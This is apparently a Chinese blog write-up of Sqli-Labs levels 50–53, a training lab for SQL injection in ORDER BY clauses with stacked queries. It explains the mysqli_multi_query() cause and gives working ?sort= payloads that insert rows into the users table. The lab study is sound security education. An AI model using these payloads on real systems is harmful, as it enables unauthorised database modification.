Sqli-Labs:Less 50 - Less 53

2018-09-16  本文已影响0人  Hyafinthus

Less 50

基于错误_GET_数字型_排序堆叠注入

Page 3 的关卡组成如下:

Less 38 - Less 41:GET 型堆叠注入
Less 42 - Less 45:POST 型堆叠注入
Less 46 - Less 49:排序注入
Less 50 - Less 53:排序堆叠注入

我们从源码可以看到,一般后台查询数据库使用的语句都是mysql_query(),而可以堆叠注入的后台使用的是mysqli_multi_query()

上文排序注入的方法在这关基本同样适用,但是基于报错注入在未注释 MySQL 报错信息的时候并不会报错,而返回一个空表:

其他排序注入方法参考 Less 46。

同理,上文堆叠注入的方法也同样适用:

?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+

堆叠注入的原理参考 Less 38。

Less 51

基于错误_GET_字符型_单引号_排序堆叠注入

?sort=1';insert into users(id,username,password) values(51,'Less51','Less51')--+

Less 52

基于Bool_GET_数字型_盲注_堆叠注入

?sort=1;insert into users(id,username,password) values(52,'Less52','Less52')--+

Less 53

基于Bool_GET_单引号_字符型_盲注_堆叠注入

?sort=1';insert into users(id,username,password) values(53,'Less53','Less53')--+

上一篇下一篇

猜你喜欢

热点阅读